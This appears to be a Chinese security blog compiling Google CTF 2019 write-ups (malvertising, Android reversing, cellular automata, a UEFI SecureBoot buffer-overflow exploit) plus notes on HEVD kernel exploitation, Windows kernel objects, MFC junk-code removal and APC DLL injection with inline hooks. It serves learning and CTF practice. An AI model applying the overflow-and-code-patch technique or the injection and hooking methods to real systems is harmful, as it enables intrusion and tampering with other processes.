1 | _0x5877("0x18", "L]47") |
于是访问https://malvertising.web.ctfcompetition.com/ads/src/WFmJWvYBQmZnedwpdQBU.js,找到flag为
1 | alert("CTF{I-LOVE-MALVERTISING-wkJsuw}") |
许久不做Android,找一个题目来找一下手感。
这个题目是一个游戏题,内容如下:
操作起来及其难受。
然后拖到工具里面查看,内容包大致如下:
其中有部分内容我简单逆向了一下。里面很多的类和对象都被混淆成了abcd,简单逆向之后,大致的功能分为三类
唯一的Checker
没有被处理,并且可以在其中找到一个native方法:
1 |
|
这个checker中调用的checkAndDecrypt
方法最后会被一个如下的方法调用:
1 | void ShowSecret() { // [import]check |
简单来说,就是解密后的数据会被传入CallMessageToGenerateMap
,当成地图程序处理,然后会被渲染到当前的程序中。但是下载游戏后发现,并没有可以进行输入的地方(至少前两关是没有的)
这就很奇怪了,一般来说rev不会没有交互就直接退出的(不然的话就不是reverse了)。不过有一个地方说明了程序是存在一个可以与用户交互的地方的:
1 | byte[] message = new byte[0x20]; |
这里可以发现,解密用的message是由程序自己生成的,也就是说程序还是给了一个可以交互的地方,让用户通过与程序交互,使得egg_place
与egg_lists
里面的数据能够相等。这里的egg_lists
是一开始就确定了的:
1 |
|
所以,我们可以关注一下egg_place
的发生赋值的位置。
1 | // 首先是初始化的位置 |
可以看到,初始化的时候会根据egg_number
的数量进行初始化。也就是说只有当前地图中存在egg_holder,才至少有一个egg会被初始化
然后还有一个赋值函数:
1 | // 然后是官方钦定的赋值函数 |
赋值函数GetEgg
中,会将当前存储了egg类型的egg_lists
中对应的egg放到egg_places
中,并且从存放了最近操作的egg类型的recently_egg_place
中移除。其中的两个变量主要含义为:
egg_places_index
记录了最近放了egg的egg_holder的下标egg_places
记录了每一个egg_holder中放入的egg的种类整个函数的实际作用就是:虽然存在32个egg_places
,但是只有最先操作的16个egg_places
能够存放非Egg_0
种类的egg。
理清上面两个点之后,就能够知道让当前的程序吐出解密后地图的逻辑为:
egg_holder
的关卡egg_places
中存放的egg与egg_lists
中相等这里的egg_lists
中存放的egg是在一开始被初始化的egg_0~egg_15
。
讲到这里,就需要提一下游戏的sprite
的初始化过程了。整个程序用了一个被我称为ResourceLoader
的类进行初始化处理的。对于简单的游戏来说,一般需要一些图片将简单的元素放在一起,这些元素会在程序执行的之后被切割下来作为tile
,对应在某些由游戏本身定义好的object
上面。这个程序也有这样的tile
,将当前的APK解包之后,在assets目录下会发现几张图片,例如:
仔细看会发现,这里面基本上每一个元素的大小距离都是等距的,这样就能够方便程序对每一个元素进行快速的切割。切割下来的tile
一般会作为某一些操作元素的外壳,这个外壳就被称为Sprite
。
一般来说游戏的开发中,都会有一个将Sprite
和游戏对象的physical object
以及部分可以操作的controller
进行绑定的过程,在这个程序中的逻辑如下:
1 | PhysicalControl MainControl = this; |
其中UI.png
如下:
可以看到,这段逻辑将一个名为UI.png
的图片进行了等距切割,并且将切割好的图片对应到一个二维的int数组中,将每一个按钮的Sprite
用数组的方式进行了存储,从而实现对按钮初始化的过程。
根据这段逻辑,我们可以找到调用了tileset.png
初始化的位置
1 | g_map(h arg3) { |
这边同样将这个图片进行了切割,并且进行了映射。在网上找到了一个解释的很好的图:网上的解释图
而显示地图则是通过如下的逻辑:
Level.bin
文件这段逻辑就是之前演示过的CallMessageToGenerateMap
1 | private void CallMessageToGenerateMap(byte[] message) { |
到这儿其实解题的思路差不多就有了:通过正确的调用GetEgg
,有选择的让egg_places
与指定的egg_list
相等,从而让下面这段逻辑能够通过:
1 | void ShowSecret() { // [import]check |
从而让秘密地图显示出来。
那么解开这个题的关键就在于这个nativeChecker
中,找到这个nativeChecker
的生成逻辑,我们就能够通过修改关卡或者直接生成flag图片的方式来获得题解。
1 | if ( right > 0 ) |
感觉算是一个小小的算法,问了一下大佬同学,可以按照归并排序的顺序运算,然后在原先进行right/left_index ++
的场合,记录下此时元素与元素之间的大小关系。大佬的思想是有了,不过具体的实现好像蛮头疼的,怎么样才能记录这个大小关系呢?这里我想到的办法是用权重,将每一个元素初始状态假设为0
,每次发生比较,较大的元素权重就要发生+1
这里大致定义一下整个归并排序的过程
我最初的想法是,在第三步的时候对当前元素的权重进行设置。但是单纯只在比较的场合记录权重,可能会有如下问题:
1 | 数列:4123 |
如果只是单纯的在每次比较的时候增加权重,此时有些元素的权重无法得到及时的更新,导致算法出错。考虑到归并排序后,每一个小数列必然是有序的,那么数列a[n]中,weight(a[n-1])<weight(a[n]),因此在每一次比较完成后,不应该只是更新当前的元素,而是从当前下标开始的所有当前数组中的元素
1 | 数列:1423 |
于是就可以得到解题脚本
1 | g_cmp = [0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0] |
于是可以得到排列为9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1
。
在用数列解密之前,我们先确认一下当前的地图模式是怎么样的。反向推到加载level
的逻辑可以知道,程序将关卡都压缩过,这里我们用python重新解压缩任意一关之后,得到如下的数据:
然后源程序中,有一个翻译的逻辑如下:
1 | for(i = 0; i < this.clo; ++i) { |
里面记录了不同的ascii对应的含义是什么。同时还有一个:
1 | Graph2Object GetTileSprite(Enum_Res resource) { |
这里则是将对应的数据翻译成Sprite对象。
我们可以选择将这些算法翻译出来来得到整个图像。
通过逆向整个check算法,可以知道key实际上有32字节,要通过爆破一个sha256得到。不过幸好根据逻辑我们可以知道,真正的key只是我们得到的16字节的key中穿插塞入0而已。于是可以写一个爆破脚本:
1 | def burst_key(): |
于是得到真正的密码为:
1 | [9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0] |
最后用这个密码对程序进行解密,得到加密的关卡:
1 | import zlib |
这里因为懒得再翻译程序中对Sprite的翻译过程,想到另一个办法:将apk中的level1.bin
替换成我们解密得到的文件,即可让apk帮忙加载地图。
APK本身是签了名的,再修改了level1.bin
之后,首先要将apk中的META_INF
文件删除,然后进行签名。这里使用的是jarsign进行签名。
首先我们要生成属于我们自己的密钥对:
1 | >keytool -genkeypair -alias "test" -keyalg "RSA" -keystore "test.keystore" |
-alias
后面跟着的是当前密钥对的名字,之后会用到-keyalg
表示当前使用的签名算法-keystore
表示当前生成的签名最后的存放位置之后还会要求我们输入输入密钥库口令以及一些基本信息,输入完成后就会生成一个90天有效的签名了
得到了签名之后,就能够使用jarsign
签名了:
1 | jarsigner -verbose -keystore test.keystore -signedjar ./flaggybirdflag-signed.apk ./flaggybirdflag.apk test |
-verbose
显示详细信息-keystore
当前密钥文件的地址-signedjar
签名后的文件名最后跟上jar-file
以及我们刚刚对签名起的别名,即可完成签名。替换后的APK打开即可得到flag:
本质上为一个算法题(大雾)
题目描述是说,当前使用了一种叫做胞元自动机cellular automata的东西(就是题目里面那个东西)的算法。这个东西解释起来有、、复杂,不过现实中很多地方都见过。胞元自动机相当于是定义了一种规则。假设我们定义了如下的3*3
的方块:
1 | = = = |
假定如下的规则:
=
表示活着的细胞+
表示死了的细胞胞元自动机是以状态为概念的。也就是说每一个细胞只考虑当前状态下周围的养料情况,不考虑下一个状态。那么根据规则,下一个状态的方块中的细胞会变成:
1 | = + = |
可以注意到,此时**“死去”**了很多个细胞。虽然根据资源分配的话,四周的细胞死亡后,正中间的细胞本来是不必死去的,但是根据状态,它也会进入这个状态。然后再下一个状态就是:
1 | = = = |
恢复成最初的形状。这种就叫做胞元自动机的变化过程。
有很多的胞元自动机规则,分别就是规定了这种变化过程。题目中给出的Wolfram rule 126
也是一种变化的规则:
第一排为当前状态。也就是说仅仅在当前状态以及相邻两个状态均相等的时候,当前状态转变成0,否则转变成1
题目中给出了一个密文,并且给出了一个64bit下的胞元自动机生成的数字,推测出上一个状态,对应的数字作为密文的密钥即可解开答案:
1 | Flag (base64) |
这里观察Rule 126
,可以发现一些规律。这里推荐网站https://www.wolframalpha.com/input/?i=Rule+126,里面已经帮我们总结了规律。
这种有规律,求解的问题都可以用z3
来解决。这里参考https://blog.julianjm.com/Google-CTF-2019/#Automata照着写了一个:
1 | from z3 import * |
基本上是把人家的搬运了一下。。实在是不会写z3
这个输出非常多,可以用bash脚本之类的主动调用题目中给出的解题指令,即可得到答案。
1 | Your task is very simple: just boot this machine. We tried before but we always get ‘Security Violation’. For extra fancyness use socat -,raw,echo=0 tcp:$IP:$PORT'. |
这个题目是一个pwn题,从名字中可以知道应该是和一个叫做Secure Boot的特性相关的一个题目。这个特性其实是关于UEFI(Unified Extensible Firmware Interface)的一个子特性。
用binwalk
查看之后,发现是一个UEFI文件,然后用UEFITool
查看之后发现里面内容如下:
官方给出的run.py
脚本如下:
1 | #!/usr/bin/python3 |
其中qemu
那段启动的内容意思为:
-monitor /dev/null
:将监视器重定向到主机的空白设备。-m 128M
: 设置启动时候的RAM大小为128M-drive if=pflash,format=raw,file=%s
: 设置一个驱动,同时可以设置相关的设备类型。这里设置的设备接口为pflash
(闪存,相当于是连接了bios的那个东东),磁盘格式为raw
,意味着不需要检测格式头,然后定义了当前的OVMF.fd
作为当前的操作镜像。这句话相当于是模拟了一个写有UEFI的闪存挂载到操作系统上的一个过程-drive file=fat:rw:contents,format=raw
: 同理,这句话设置了一个驱动,不过这里是将contents
目录作为硬盘格式挂载到这上面(标注为raw之后就不需要关注是不是MBR/GPT的磁盘了)-net none
: 不支持网络通信2 > /dev/null
: 重定向错误流尝试运行这段内容后,程序会输出:
1 | UEFI Interactive Shell v2.2 |
根据输出,我们知道当前的OVMF.fd
中的UEFI开启了SecureBoot
的特性,而当前内核并没有签名,导致了内核没有能够加载。
在UEFI加载的时候,有四个阶段
1 | SEC(安全检测,完成从flat mode 到 real mode)--PEI(EFI前期初始化,初始化各个模块,CPU/IO等等)--DXE(初始化各类驱动)--BDS(初始化键鼠驱动,VGA等等) |
但在这四个阶段之后,还会有一个叫做TSL(操作系统加载前期)
的阶段,这个阶段中就是在最初的UEFI加载完成之后(但是还没有尝试开始运行的时候),会从主板上(CMOS处)加载关于UEFI的配置(也就是通常说的进入BIOS)。在这之后才会正式进入RT(Runtime)
加载操作系统等等。
所以想到,我们可以通过手动修改BIOS的配置来关闭SecureBoot
。但是该题没有告诉我们到底怎么进入BIOS,此时只能一通乱按,终于发现是在按下了f12
的时候可以打开这个界面:
1 | BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331) |
这里会发现,程序在DXE
阶段加载了一个好像叫做UiAPP
的文件,并且要求我们输入密码。于是这里想到说,这个UiAPP
可能是实现了输入密码功能的一个自定义的EFI文件。此时我们注意到7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1
这个值,这个值我们在UEFITool
的截图中看到过。
于是想到,能不能将这个文件导出来看一下。这里使用工具uefi-firmware-parser
进行导出:
1 | uefi-firmware-parser -ecO ./OVMF.fd |
输出中可以开到如下的内容:
1 | File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application) |
这段就是我们需要找到的内容(目录有点深,得搜索出来才行)
1 | SecureBoot\OVMF.fd_output\volume-0\file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331 |
首先利用全局搜索找到字符串L"Password",发现其相关函数如下:
1 | __int64 checkPassword() |
程序要求我们输入128个字节,然后将这128个字节进行sha256,结果要为四个DEADBEEFDEADBEEF
的时候,就会返回1表示密码输入正确。
这里会发现一个很显眼的漏洞点:程序允许我们读入140字节,但是申请的空间却只有128个字节那么大。总共可以多溢出12个字节。由于这里是位于EFI程序中,此时地址并不是特别高位,所以可以粗略的认为我们此时可以修改v6和v7处的变量。
从定义上可以发现,v7是一个地址,而我们栈溢出又正好可以溢出到v7的地址处,于是一个自然的想法就是,通过爆破sha256,得到一个粗略任意地址写的一个漏洞(因为必须要将buffer进行sha256,所以这个写入也不是那么受控制,不过如果控制了v7相当于是可以往部分位置写数据了)
那么要往哪里写呢?这个倒是一个大问题,毕竟这个题目不是在通常的运行环境下,没有libc
等一系列东西,所以得考虑用别的办法。不过其实考虑到,分页保护这个过程发生在操作系统加载之后,那么应该会意识到,此时的EFI程序应该是不存在页保护的。
修改题目中给出的run.py
1 | #!/usr/bin/python3 |
之后启动gdb,然后输入
1 | target remote 127.0.0.1:1234 |
即可连接调试。
链接进去后用手速进入输入password的界面,然后断下来,检查内部执行情况可以发现,此时的程序段的确都是可执行的:
此时我们需要找到此时的uiapp
被映射的位置,这里似乎没有什么好办法,只能说翻一下栈,看看有没有哪个数字的最后三个字节和IDA中的某个函数调用返回值的后三字节相同。通过逆向分析,可以知道如下的汇编:
1 | .text:000000000000FF1E |
猜想说此处的rax
调用的正是读取数据的函数,所以我们此时需要查找栈中地址尾部为F5E
的地址,最后成功找到:
1 | 24:0120│ 0x7ec17c8 —▸ 0x67daf5e ◂— jmp 0x67daede /* 0x44b70fffffff7be9 */ |
于是可以计算出此时段的基地址为67daf5e - ff5e = 67CB000
。
代码段本身居然能被修改,而且没有开启ASLR
,这意味这我们不需要leak就可以修改任意内容,我们需要巧妙的利用这一点。这里比较容易想到的一点就是修改发生比较前后的代码。将发生跳转的
1 | .text:000000000000FFBE cmp rdx, rax |
这个位置修改成jmp $+b3
,那么就可以直接跳转到
1 | .text:0000000000010074 mov eax, 1; <------arrive--here----- |
不过查看反汇编,会发现jmp +$0xb3
需要的字节码有、长,为\xe9\xae\x00\x00\x00
,因为这个地方有一个无符号数0xb3
,而爆破这么长的字节显然不合适,但是反向跳跃不需要那么多字节:
1 | .text:0000000000010074 mov eax, 1 ;<---------arrive here |
如果从指定的位置进行jmp的话,那么此时只需要0x1007b - 0x10074=0x7
,也就是说此时只需要跳转jmp $f9(\xeb\xf7)
即可:
那么接下来要做的事情就很简单了:
\xeb\xf7
说到调试问题,可以让程序先运行起来,然后本地使用gdb远程链接过去(此时注意qemu的命令行中不要加入-S
防止被挂起)
在调试期间发现一个漏掉的问题点:
1 | v6 = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))( |
这个地方的v6
在栈上位于v7
之前,通过测试发现在读入我们的输入的时候会被置为00000000
,所以在计算sha256的时候需要把这段默认为0,但是发送数据的时候这一段需要设置为任意可见字符防止被截断。
由于此时需要利用pwntool和远程通信,所以需要发送f12
,所有特殊按键在UEFI加载的时候通过\x1b
来激活,表示这之后的字符串是特殊按键。这些对应关系可以查询这里
1 | # -*- codingP:utf-8 -*- |
如果只是本地测试的话,可以使用
1 | socat -,raw,echo=0 SYSTEM:"python exploit.py" |
来进行启动,会得到如下的画面:
然后设置一下Secure Boot
就能够让其正常启动。修改成remote
模式之后即可到达最终答案
CTF{pl4y1ng_with_v1rt_3F1_just_4fun}
Windows Subsystem for Linux
相关的内容(之后也整理到博客上吧),顺手就看到一个EXP,讲的是可以从 WSL 中实现 Windows 层面的提权。当时就想好好的研究了一下Window内核Exploit,于是趁热打铁搞了个HACKSYS EXTREME VULNERABLE DRIVER
来玩HEVD
这个东西是2017年就在blackhat上就提出来的,一个用来帮助大家学习Windows Kernel Exploit
的项目,在这个项目中会提到很多Windows 内核漏洞利用的技巧,以此来辅助对Windows Kernel Exploit的基础学习。
这个玩意儿其实本身还是蛮好弄得,下下来之后的文件目录如下:
其中根据README,首先安装Windows Driver Kit
(并非SDK),然后从Builder中找到对应的Build_HEVD_Secure_*
和Build_HEVD_Vulnerable_*
,简单修改之后,就能对驱动进行编译。然后还有一个叫做Build_HEVD_Exploit
的文件,可以编译一个用于 exploit 的 exe。然而实际操作的时候却没那么简单,因为现在的WDK
目录结构和当初的版本有点不一样,所以导致给出的bat
脚本需要做出一定的调整,才能整个完成编译
这个比较简单,只有以下几个地方需要修改:
1 | REM store the local symbol server path |
这个localSymbolServerPath
README 中也提到了,就放到一个自定义的目录就好了,重点是后面这个 VC_PATH
,这个其实可以根据不同的visual studio
版本自定义位置,因为这里使用的是VS100COMNTOOLS
这个环境变量,相当于是使用的VS2012 进行编译的,如果是VS 2017的话,应该是叫做VS140COMNTOOLS
,然而目录其实也不对了,所以这里建议直接改成Visual Studio的真是安装目录下的vcvarsall.bat
的路径。我这边是改成了
1 | set VC_PATH="C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build\vcvarsall.bat" |
这里设置这个变量,之后会调用@call %VC_PATH% x86
,设置编译环境为x86的文件
之后还有一出需要更改的地方
1 | cd "C:\Program Files\Debugging Tools for Windows (x86)" |
这个调用我这边总是失败,所以最后我直接强行指定了symstore.exe
的真实路径:
1 | "C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\symstore.exe" add /r /f %currentDir%\..\compile\exploit\ /s %localSymbolServerPath% /t "ExploitSymbol" /v "1.0" |
从字面上其实可以理解,其实这两个驱动版本分别是带有漏洞的驱动以及修复后的驱动。其实两个脚本的区别就是是否设置SECURE
这个编译变量。在源码中,设置了SECURE
全局变量的代码将会使用安全措施,修补当前漏洞,具体来说就是:
1 | DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch); |
将这些有漏洞的程序以IOCTLHandle
的形式注册为Driver Routine
,于是就能够通过IOCTL
选择此时需要触发的漏洞程序。
然而这个给出的编译脚本使用的是早期WDK,大约是 WDK7 前后的版本,从之后的版本之中就不再使用这个脚本来设置编译选项,也不会使用build
来进行编译(使用的是MSBuild)。如果依然想用命令行进行编译的话,可以参考
https://social.msdn.microsoft.com/Forums/sqlserver/en-US/100cee1b-30b6-46ec-b3aa-729142f60285/how-to-build-a-driver-using-the-command-line-msbuild?forum=wdk
并且还需要修改原先的.sln
文件,不然的话编译过程还是会出问题。。。
为了图方便,这里就使用了Visual Studio
自带的编译器进行编译。安装了WDK之后,新建项目的时候可以直接从VS中找到Driver的Solution
由于是Driver(并且是.sys
文件),这里就使用Kernel Mode Driver,Empty
这个选项,之后将所有的源代码都拷贝进去。然后在项目->属性->C/C++->常规
处,把警告等级设置的低一些(不然会警告未生成obj
文件),然后在项目->属性->Driver Settings->General
根据自己的需要设置需要编译的平台。之后再去编译就能完成对驱动的编译了。
如果都编译完成之后,将README中用于(load driver)[https://www.osronline.com/article.cfm?article=157]的工具下载一下(建议再搞一个dbgview用来查看内核的log输出),基本上就大功告成。然后将这些东西都扔到虚拟机里面,首先使用工具,将驱动安装上去,之后可以用sc query HackSysExtremeVulnerableDriver
对驱动进行检测。如果打印当前驱动的状态是Running
,那就说明安装成功,此时我们可以尝试运行之前编译好的HackSysEVDExploit.exe
,然后随便选取一个攻击手法进行攻击(也就是它后面跟着的那些参数),然后用-c cmd
弹出一个计算器,就能够知道是否攻击成功了。
在 Windows 操作系统中,有很多涉及到底层的操作,例如文件操作,进程操作,注册表操作,网络操作,事件操作等等。为了能够将用户从繁琐的内核操作中分离出来,Windows 提供了很多的 API 函数来帮助用户能够更好的操作,例如对于文件操作,我们有CreateFile
,WriteFile
; 对于进程,我们可以使用CreateProcess
,也有CreateToolhelp32Snapshot
这样的操作函数。这些函数操作的对象就是我们本文要讨论的内核对象。例如:
这些内核对象都是一个内存块,由操作系统内核进行分配,并且也只能由操作系统内核访问。内核对象中的属性随着内核种类的变化而变化。形如进程对象拥有 PID 的属性,而文件对象有一个字节偏移数作为参数。但是大部分的内核对象都有下列两个属性
这些属性只能够由操作系统内核进行修改和使用,从而避免应用程序对内核进行过多的修改。
上文中提到,内核对象只能够由内核进行处理,那么应用程序应该如何访问这些对象呢?答案就是使用句柄(Handle)。当调用一个创建内核对象的函数后,系统会生成一个句柄返回到应用层。之后应用层将会使用这个句柄对对应的内核对象进行操作
// ###(插图:句柄指向内核)
为了保证操作系统的可靠性,句柄的值是与进程相关的,但是同时,句柄也支持在不同的进程间共享。
由于内核对象可以被多个进程共享,所以即使说由进程A创建了一个内核对象,在进程A结束之后。在进程B中也使用了同一个内核对象,此对象也不应该被回收。为了实现这点,每个内核对象都由一个使用计数的参数,用来表示当前有多少个进程在使用当前内核对象。当没有进程使用当前内核对象的时候,该使用计数会变为0。操作系统会检测内核对象的引用次数,当次数为0的时候就会 销毁当前对象(不完全是这样) ,这样的话就能够保证系统中不存在没有被任何进程引用的内核对象。
让引用计数减少的最基本的方法就是调用函数CloseHandle
,每当关闭一个句柄,就算是减少了一次对当前内核次数的引用
**: 上文提到,内核对象的引用计数变为0的时候会销毁对象,并且调用CloseHandle
的时候会减少引用次数这种说法不完全正确。比如说当使用CreateProcess
创建的进程对象在被CloseHandle
之后也会继续运行直到程序结束,而CreateFileMapping
创建的共享空间句柄就会因为CloseHandle
而导致内核对象被销毁。个人理解,销毁与否关键取决于当前内核对象所管理的对象是否结束(比如说进程的话要等进程运行结束才算是结束,而内存空间只要没有任何东西运行,所以关闭之后就相当于是当前引用结束了)
安全描述符之前接触比较少,之后应该会单独开篇来讲一下这个东西,这里就简单介绍一下。
内核对象的访问限制。一个安全描述符主要描述这些事情:
在内核中可以通过一个叫做 SECURITY_ATTRIBUTES 的结构进行设置。
这个概念是由这本书提出来的,并不保证实际情况就是如此
进程初始化的时候,将会由操作系统为其分配一个句柄表。这个句柄表相当于是一个数据结构类似的东西,然后里面包含一个内核对象的指针,一个访问掩码(access masl)还有一些标志
1 | +-------+-------------------------+-------------------------------+------------+ |
如上,为一个记录了有效句柄的句柄表。其中索引1为一个有效的内核对象的句柄。
当使用创建内核对象的函数时,就会对当前的表格进行填充。这类函数形如:
通过这些函数得到的句柄可以被同一进程中的所有线程共同使用。在使用句柄的时候,Windows进程往往会将当前的句柄值右移两位作为真正的句柄值。所以第一个有效的句柄值往往是4。(众所周知,在 Windows 操作系统中,System 进程的 PID 值为4,这里可能有所关联)
正如前文提到的,内核对象是存放在内核空间中的,部分的API会听过为内核对象命名的操作。通过使用名字访问的话,就相当于是跨进程,此时被称为放在全局命名空间。若不使用命名的话,则是在同一进程中共享。
然而,在 Windows Vista 之后,对于命名有了要求。全局命名空间名必须要为
1 | Global\ObjectName |
的形式。
同样我们也能够显示的指明一个对象放入当前会话空间
1 | Local\ObjectName |
这是因为, Windows Vista 之后,在 Windows 登陆的时候会创建一个叫做 Session 0 的会话。在这个会话中的服务都是在登陆期间执行的。通过这样做能够有效的将应用程序和系统服务进行隔离。同样,每一个登陆的用户都将获得一个会话(一般是从 Session 1开始)不同的用户可以登陆不同的会话。
推荐一个 Sysinternals 提供的工具(似乎是被微软收购了),叫做Process Explorer
严肃警告:这个公司的软件都会装驱动,还想玩游戏的个位千万千万不要装到跑游戏的机器里面,相关故事请参考我的惨痛经历,顺便里面提到的Procmon其实在检测文件行为的时候还是蛮好用的
2020.5.2 更新
上面的讲述都过于干涩,毕竟没有实际的例子。那么我们如何去观察一个内核对象呢?首先我们知道在内核调试模式下,使用
1 | !handle 0 0 |
能够列出当前进程中所有使用的句柄对象。举个例子,我们可以看到:
1 | 1: kd> !handle 94 |
这个句柄94表示的是一个叫做Exploit.exe进程的进程对象。Windows 将所有的一切都封装成了对象,进程也一样,所以我们可以看到这里:
1 | 0094: Object: aed07600 GrantedAccess: 00001400 Entry: 8b83a128 |
如果我们需要观察这个对象的话,只需要键入:
1 | 1: kd> dt _Object_header aed075e8 |
就能看到这个内存对象的基本信息啦。后续如果想要知道如何通过_OBJECT_HEADER
查看当前对象的类型的话,可以使用https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a提到的方法
当使用!object \
的时候,可以观测到位于\
目录的对象
1 | 1: kd> !object \ |
通过
1 | !object address |
我们能展开看这个对象的一些细节信息。例如:
1 | 1: kd> !object ffff938d8021a1d0 <--- 这个是 |
这里提到的Target String
可以在用户态使用。
其次,我们能发现,形如ObjectTypes
这种用于表示一个对象的类型的对象也会存放在这里。然后也可以用同样的方法检查类型
1 | 1: kd> !object \ObjectTypes |
然后,我们能看到一个叫做BaseNamedObjects
的目录,这个目录中存放的都是global namespace
(全局对象),与之相对的是session namespace
(会话对象)
然后在Sessions
包含了每一个会话空间。一般创建的对象都在单独的会话空间,除非声明要创建到全局对象空间中。此时要使用Global\
前缀
而Glibal\??
表示一个符号链接,用于为每一个应用使用。例如:
1 | 1: kd> !object \global?? |
从题目看出可能是和junk code相关的内容。这次我像往常一样直接瞎找函数,终于不奏效了(之前的时候真的神奇,MFC直接直觉断点居然能找到合适的函数。。)于是跟着网上的教程试着做了一次定位。
之前我找的时候都是瞎找,这个思路就不太对。。应该想办法找到当前控件的注册函数才对。控件上注册的函数一般来说都是关键的函数,这道题目中就是这个check button。
在MFC中有一个消息映射表的概念,其中代码如下:
1 | struct AFX_MSGMAP{ |
其中这个AFX_MSGMAP_ENTRY
中的最后一个成员AFX_PMSG
就是一个函数指针,指向了当前控件绑定的函数。同时,这个nID
成员描述的是当前控件的ID,利用这个ID就能确定我们所寻找的控件。然后这个AFX_MSGMAP
结构体则会记录一个指向AFX_MSGMAP_ENTRY
的指针,于是查找控件的注册函数的思路可以缩小为:
这个过程挺容易找到的,只要利用工具Resource Hacker
这个工具即可。将当前的MFC导入到HR中,然后便可检查其中各种控件的元素。从这个题目中我们能够找到如下的位置:
这个地方写了这个Check Button
对应的ID为1001,于是这个控件的ID我们就找好了
这个地方需要一点技巧。注意到这个结构体的第一个成员是AFX_MSGMAP * pBaseMessageMap
。这个成员会指向一个叫做GetMessageMap
的函数地址,函数的内容很简单:
1 | .text:0040FE48 GetMessageMap proc near ; DATA XREF: .rdata:0055174C↓o |
就是将某一个AFX_MSGMAP
的地址返回。同时当前的AFX_MSGMAP_ENTRY*
往往会指向相邻的地址,因为内存中通常是如下排列的:
1 | AFX_MSGMAP |
利用这个几个特征,就能够写一个IDA的idc脚本。这里直接是用了参考博客中给出来的脚本:
1 |
|
其中的startRdataVa, size, startValidVa, endValidVa
需要根据时机情况更改。此脚本能够找到几个类似的的地址,此时用我们之前提到的特征对其进行过滤:
找到了消息处理函数之后,本来以为大功告成,后来发现里面塞满了junk code…好的把继续。
点开函数,里面的基本 code 基本如下:
这些call 然后 pop之类的,全部都是junk code,分析之后发现一个特征:当插入了junk code 为22222222h结尾的场合,下一句就是正确的代码段,所以这里利用这一个特点写了个py脚本patch(其实我觉得应该用IDApython好一点。。)
1 | fd = open("Junk_Instruction.exe",'rb') |
处理之后,逻辑就清晰了
最后吐槽一下,这个代码段我居然在网上找到了一摸一样的。。。
junk code去除之后,整体的逻辑就很简单了:
整体逻辑翻译一下,伪代码大约如下:
1 | input = GetInput() |
这个GetMap是一个用"qwertyuiop"和数字生成映射表的一个函数,但是这也就意味着函数本身的内容是不变的,与输入无关。并且之后的UseMapGetInput就是将map进一步映射,然后简单与input异或,所以我们可以用最简单的复现算法的方式,将这个input 的内容复现出来。脚本如下:
1 | def gen_map(string): |
基本上就能得到答案了。加上前面逆向可以才到需要再答案最外加上flag{}
,于是可以得到flag
Windows APC
之后,对整个APC过程算是有了一个比较清晰的认识了。打算在这篇文章介绍一下如何实现APC Injection
之前在写Windows Driver 初探
这篇文章的时候,我提到过说想要做一个当创建新的进程的时候,获取其创建时的函数调用链功能的模块。当时使用的是修改注册表的AppCertDLLS
的思路,但是这个思路我后来发现会被很多程序绕过,于是这里打算采用APC Inject的方式来试一下。
为了实现获取创建进程时,函数调用链这个思路,首先要意识到这个地方有两个步骤:
CreateProcess
也就是说,为了实现这个类似于monitor
的功能,我们需要有两个模块共同工作,才有可能将当前程序中的CreatProcess给抓取下来。
这个模块我在毕设的时候差不多也算是实现了,用了一个叫做mhook
的库,可以实现一个inline hook
的效果。
inline hook:
原理非常简单,就是将当前函数的前五个字节修改成jmp
指令,从而劫持程序流。具体为了组织函数调用,恢复上下文等,可能会有不同的处理方法。mhook会让当前的程序跳转到一个自己申请到的地址上,然后重新组织寄存器等,之后再跳转到我们自己程序中定义的函数,从而实现一次hook。
1 | function:hook: |
为了控制指令长度,mhook
会使用一种叫做trampolin
的技术,也就是jmp
的地址并不是直接跳转到我们给出的函数地址(因为担心那个地址可能距离hook的函数过远,导致需要用到长跳转,此时5个字节内并不能完成),而是跳转到一个自己申请的一个可读可写可执行的地址空间中,这个地址称为trampolin
。跳转至trampolin
后,再重新组织传参等问题,然后正式跳转到我们自己的函数上。
当初实现Injection的时候,用的是之前提到过的AppCertDLLS
。这是一个Windows的特性,就是说如果往注册表中的HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls
中添加一个dll
的路径,那么此时的dll将会在调用CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec
这几个函数的时候被自动加载。
这个思路最初我觉得没什么问题,但是测试了一段时间发现还是有一些根本问题的。最初做这个的时候,是想着要监控一些异常程序的,但是dll的注入的时机总是太慢了,导致捕捉不到调用链。于是这一次,打算使用APC Injection
的方式试着写一个注入程序
这个模块的关键在于,要在能够监控进程的启动。同时,启动之后要能够完成将带有mhook
模块的程序加载————为了能够加载到其他进程中,最好的模块就是一个dll。因此,需要做到尽可能早的加载dll到目标线程。
Windows Apc是一个涉及到Windows 内核的一个话题,可以作为了解Windows内核机制的一个重要入口。
网上对于APC的文档似乎不多,微软官方的解释如下:
APC表示在指定线程上下文中异步调用一个函数。当一个APC插入到线程的调用队列中时,系统将会发出一个软件中断。之后每当线程被挂起,它就会调用这个APC函数。由内核产生的APC称为内核态(kernel-mode)APC,而由用户应用调用的APC称为用户态(user-mode)APC。
